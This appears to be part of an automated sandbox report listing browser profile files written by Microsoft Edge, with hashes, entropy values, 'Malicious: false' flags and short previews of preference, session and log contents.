C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF3f53e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.568129821028227
Encrypted:	false
SSDEEP:	768:+qyoCNWEcW5wIqf4s/8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPeyI303drwXEpKtuN:+rvN5cWaIqfV/u1jab/2mhtO
MD5:	D46D9B4E01EB1192E4341B1184F05CB0
SHA1:	C01868E772C0832B5BEB745342BE421072FDECD4
SHA-256:	C9F145FFC58C21876A1B0400E3473D3A7BCFB1431A22F427CA2B6C8D472F395E
SHA-512:	66E0653944D25CDA5E935377FEE58738696E144E761CD49588FA5244D9AFAD62094CA3216820BE752CED2E35DD2968EB43A21734E2F349E765195CE093A17159
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376869169404785","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376869169404785","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	318
Entropy (8bit):	4.074898952577766
Encrypted:	false
SSDEEP:	6:S85aEFljljljljljFFllaV939wCr0PhYledUA5EEE:S+a8ljljljljlHlc9PleH
MD5:	5C9FE7EB52E1E98BF465EAB22E39FEB0
SHA1:	A72E3EDD814F63EC1CAEAE40C88FEB682D3374F8
SHA-256:	A5C08FC78FD4DE7103A523CDE1C9216D43202E6A0EC49DB15D839BF954A39D21
SHA-512:	0A62F0CC2CD2FDCC99F7A598F3F48FA1E4C95077E68727DDEAE3A7E78BE113CBD4F70E27B676D59A2C24D6BAF7844BDBBC8DE1AB4035559DBCBE22091A6B73CB
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f...............]?..b................next-map-id.1.Cnamespace-bc3a6849_c1ea_4e1f_b859_481f8737eaac-https://ntp.msn.com/.0V.e................V.e................V.e................V.e................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.134707427327136
Encrypted:	false
SSDEEP:	6:HGbbq2PN723oH+TcwtrQMxIFUt8YGbcKZmw+YGbZnokwON723oH+TcwtrQMFLJ:ivVaYebCFUt8KK/+A5OaYebtJ
MD5:	EBDBDD4F760E7109E3A159BE9173F152
SHA1:	597C961434BD8F74C39587B729C3120447A1B3B2
SHA-256:	CE53ED05B2D0C42E3B5A8633B3D90D1DE1E6C3A05F70835F854FBC9029303CB6
SHA-512:	8325A7E4F4ED3471F725887C3E622A7A336698F73954DF6EF668CCE726E6FB2E34F022BF75208A0BE9626DDAFC6851204D48F28D8EEDC87AF3C62F32E0E9962A
Malicious:	false
Preview:	2024/11/23-15:59:30.266 2054 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/23-15:59:30.272 2054 Recovering log #3.2024/11/23-15:59:30.275 2054 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.134707427327136
Encrypted:	false
SSDEEP:	6:HGbbq2PN723oH+TcwtrQMxIFUt8YGbcKZmw+YGbZnokwON723oH+TcwtrQMFLJ:ivVaYebCFUt8KK/+A5OaYebtJ
MD5:	EBDBDD4F760E7109E3A159BE9173F152
SHA1:	597C961434BD8F74C39587B729C3120447A1B3B2
SHA-256:	CE53ED05B2D0C42E3B5A8633B3D90D1DE1E6C3A05F70835F854FBC9029303CB6
SHA-512:	8325A7E4F4ED3471F725887C3E622A7A336698F73954DF6EF668CCE726E6FB2E34F022BF75208A0BE9626DDAFC6851204D48F28D8EEDC87AF3C62F32E0E9962A
Malicious:	false
Preview:	2024/11/23-15:59:30.266 2054 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/23-15:59:30.272 2054 Recovering log #3.2024/11/23-15:59:30.275 2054 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13376869171927577

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2521
Entropy (8bit):	3.812460491645148
Encrypted:	false
SSDEEP:	48:3peonBGPwzFeLp2FEkChzAhyRHOpfLWo1Xed6HOp:3pe2kBp2+k60QRuhXeku
MD5:	FB6E2D12F6BE55C2B377832F0A2637F0
SHA1:	CCB0A15656A24E3C8B939DAA596F992C44585FA8
SHA-256:	B53CD0A25C8054A3A5EBEDBDE139BBD6810B07BCE88EE7E93708B0A1427972A1
SHA-512:	44330C9E4C4C49B581C97F9583779E31AA9E774A0B8D3EDD2B0A78D4A975876D5706C36A8C6C6BDB8FA07EA9830A1A1F64F92D64C02FF77B004D9F353281F960
Malicious:	false
Preview:	SNSS.......^.._...........^.._......"^.._...........^.._.......^.._......._.._......._.._....!.._.._...............................^..__.._1..,..._.._$...bc3a6849_c1ea_4e1f_b859_481f8737eaac...^.._......._.._.....O:........^.._...^.._.......................^.._....................5..0...^.._&...{46F3A197-DB49-410A-81B3-94975C835573}.....^.._.......^.._.........................._.._..........._.._........edge://newtab/......N.e.w. .t.a.b...........!...............................................................x...............................x........C..'...C..'.................................. ...................................................r...h.t.t.p.s.:././.n.t.p...m.s.n...c.o.m./.e.d.g.e./.n.t.p.?.l.o.c.a.l.e.=.e.n.-.G.B.&.t.i.t.l.e.=.N.e.w.%.2.0.t.a.b.&.d.s.p.=.1.&.s.p.=.B.i.n.g.&.i.s.F.R.E.M.o.d.a.l.B.a.c.k.g.r.o.u.n.d.=.1.&.s.t.a.r.t.p.a.g.e.=.1.&.P.C.=.U.5.3.1.....................................8.......0.......8............................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	356
Entropy (8bit):	5.160514956015581
Encrypted:	false
SSDEEP:	6:HGXUKOq2PN723oH+Tcwt7Uh2ghZIFUt8YGX0DjZZmw+YGXWKPkwON723oH+Tcwts:fvVaYebIhHh2FUt8GDjZ/+8KP5OaYebs
MD5:	26E530325BC7BE1CEE351D666393F1E9
SHA1:	EB91C9492BDE587E0110F2293F207F87D4F10B6C
SHA-256:	0BE02936D3114C3EA18D6FEA369FA3D136D7FDE771E9E897B4AB7421FEB2F9A6
SHA-512:	3EBD63A441D58B550E52671A342968AEFD3DB6202B30902C54E0621089A410D1B0A2DB1E70C27B417C3C4228A80C8FC2B2166C7742F469CEC56B8EB28B23823E
Malicious:	false
Preview:	2024/11/23-15:59:29.481 23f4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/23-15:59:29.482 23f4 Recovering log #3.2024/11/23-15:59:29.483 23f4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	356
Entropy (8bit):	5.160514956015581
Encrypted:	false
SSDEEP:	6:HGXUKOq2PN723oH+Tcwt7Uh2ghZIFUt8YGX0DjZZmw+YGXWKPkwON723oH+Tcwts:fvVaYebIhHh2FUt8GDjZ/+8KP5OaYebs
MD5:	26E530325BC7BE1CEE351D666393F1E9
SHA1:	EB91C9492BDE587E0110F2293F207F87D4F10B6C
SHA-256:	0BE02936D3114C3EA18D6FEA369FA3D136D7FDE771E9E897B4AB7421FEB2F9A6
SHA-512:	3EBD63A441D58B550E52671A342968AEFD3DB6202B30902C54E0621089A410D1B0A2DB1E70C27B417C3C4228A80C8FC2B2166C7742F469CEC56B8EB28B23823E
Malicious:	false
Preview:	2024/11/23-15:59:29.481 23f4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/23-15:59:29.482 23f4 Recovering log #3.2024/11/23-15:59:29.483 23f4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	438
Entropy (8bit):	5.207598831448508
Encrypted:	false
SSDEEP:	12:jvVaYebvqBQFUt8wFUXZ/+r5OaYebvqBvJ:jVaYebvZg8wSSOaYebvk
MD5:	11A8D0143343097FD135A7AD04037E3F
SHA1:	23D7FDF9AAE798E422E2DADF5A05A4192B716698
SHA-256:	75BBF9B9552777B8C586898645A596A5B6C0EEED7C9C32D50A51588A6A3D489D
SHA-512:	F8AB2260AD195792B819A496CC8869489C61EE9D3481ECDCCEF317C7CF43A72257FB910578FB602CA49BFBEF07CFD6F6A2062E2F22A6705888AA6AA6AE9BFDF2
Malicious:	false
Preview:	2024/11/23-15:59:30.281 1ac0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/23-15:59:30.302 1ac0 Recovering log #3.2024/11/23-15:59:30.384 1ac0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	438
Entropy (8bit):	5.207598831448508
Encrypted:	false
SSDEEP:	12:jvVaYebvqBQFUt8wFUXZ/+r5OaYebvqBvJ:jVaYebvZg8wSSOaYebvk
MD5:	11A8D0143343097FD135A7AD04037E3F
SHA1:	23D7FDF9AAE798E422E2DADF5A05A4192B716698
SHA-256:	75BBF9B9552777B8C586898645A596A5B6C0EEED7C9C32D50A51588A6A3D489D
SHA-512:	F8AB2260AD195792B819A496CC8869489C61EE9D3481ECDCCEF317C7CF43A72257FB910578FB602CA49BFBEF07CFD6F6A2062E2F22A6705888AA6AA6AE9BFDF2
Malicious:	false
Preview:	2024/11/23-15:59:30.281 1ac0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/23-15:59:30.302 1ac0 Recovering log #3.2024/11/23-15:59:30.384 1ac0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\20832809-0002-4f3d-aedc-e4fcd6583289.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqk1Yn:YHpoeS7PMVKJTnMRKXk1Yn
MD5:	807419CA9A4734FEAF8D8563A003B048
SHA1:	A723C7D60A65886FFA068711F1E900CCC85922A6
SHA-256:	AA10BF07B0D265BED28F2A475F3564D8DDB5E4D4FFEE0AB6F3A0CC564907B631
SHA-512:	F10D496AE75DB5BA412BD9F17BF0C7DA7632DB92A3FABF7F24071E40F5759C6A875AD8F3A72BAD149DA58B3DA3B816077DF125D0D9F3544ADBA68C66353D206C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\555ecb09-dc7d-44f9-878d-1ead3add59ab.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\6868b288-e050-4103-943b-bbca4ab66ce6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqk1Yn:YHpoeS7PMVKJTnMRKXk1Yn
MD5:	807419CA9A4734FEAF8D8563A003B048
SHA1:	A723C7D60A65886FFA068711F1E900CCC85922A6
SHA-256:	AA10BF07B0D265BED28F2A475F3564D8DDB5E4D4FFEE0AB6F3A0CC564907B631
SHA-512:	F10D496AE75DB5BA412BD9F17BF0C7DA7632DB92A3FABF7F24071E40F5759C6A875AD8F3A72BAD149DA58B3DA3B816077DF125D0D9F3544ADBA68C66353D206C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF3ce3e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\e0b87adc-3ed8-4da5-ac08-b1d3596272fe.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	426
Entropy (8bit):	5.247751336135375
Encrypted:	false
SSDEEP:	6:HGfn1q2PN723oH+TcwtzjqEKj0QMxIFUt8YGaaZmw+YGbt6FkwON723oH+Tcwtzv:q1vVaYebvqBZFUt89/+CF5OaYebvqBaJ
MD5:	BF2FACA4F27E2B0FE8C0D15C21818167
SHA1:	938CF4E14059770802C2D9C0B7DC31D741EDD0F5
SHA-256:	DAAD165AB4700F7B8E412280A4CCCF5FBF17CB85D1FD00591E078E2B3592B66D
SHA-512:	9009D766F9B0295F46129D5B659DE98B4E52DB1606D5ACA6A9CBABD981EF428BBC84C524BD019D7D91C1424BA0AF22283E46125EADDE2A39CB5BB8F70675E4F5
Malicious:	false
Preview:	2024/11/23-15:59:47.730 2054 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/23-15:59:47.731 2054 Recovering log #3.2024/11/23-15:59:47.734 2054 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	426
Entropy (8bit):	5.247751336135375
Encrypted:	false
SSDEEP:	6:HGfn1q2PN723oH+TcwtzjqEKj0QMxIFUt8YGaaZmw+YGbt6FkwON723oH+Tcwtzv:q1vVaYebvqBZFUt89/+CF5OaYebvqBaJ
MD5:	BF2FACA4F27E2B0FE8C0D15C21818167
SHA1:	938CF4E14059770802C2D9C0B7DC31D741EDD0F5
SHA-256:	DAAD165AB4700F7B8E412280A4CCCF5FBF17CB85D1FD00591E078E2B3592B66D
SHA-512:	9009D766F9B0295F46129D5B659DE98B4E52DB1606D5ACA6A9CBABD981EF428BBC84C524BD019D7D91C1424BA0AF22283E46125EADDE2A39CB5BB8F70675E4F5
Malicious:	false
Preview:	2024/11/23-15:59:47.730 2054 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/23-15:59:47.731 2054 Recovering log #3.2024/11/23-15:59:47.734 2054 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	329
Entropy (8bit):	5.2252449645600745
Encrypted:	false
SSDEEP:	6:HGX9DM+q2PN723oH+TcwtpIFUt8YGX9gZmw+YGX9DMVkwON723oH+Tcwta/WLJ:MQ+vVaYebmFUt8vg/+vQV5OaYebaUJ
MD5:	6B1A9D1E7C8E6E9C11CBBF9348F5FCFA
SHA1:	B46D9BE2C6DF8724B0323663A230EDBEE36FCF30
SHA-256:	F42C5BD47E2DE1EDA4DC2CF25F04B6BF691C18508F36DF25D1E45362140237B6
SHA-512:	3F51D1270B6E9EB7884336A82ABF87F0C025809B4A7CEF0BDAE0E225B49829D074A91239A1C667C7F7A9709A5254B50F55732A2DA62D5691A0F32E58D8C809F8
Malicious:	false
Preview:	2024/11/23-15:59:29.488 31c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/23-15:59:29.488 31c Recovering log #3.2024/11/23-15:59:29.488 31c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	329
Entropy (8bit):	5.2252449645600745
Encrypted:	false
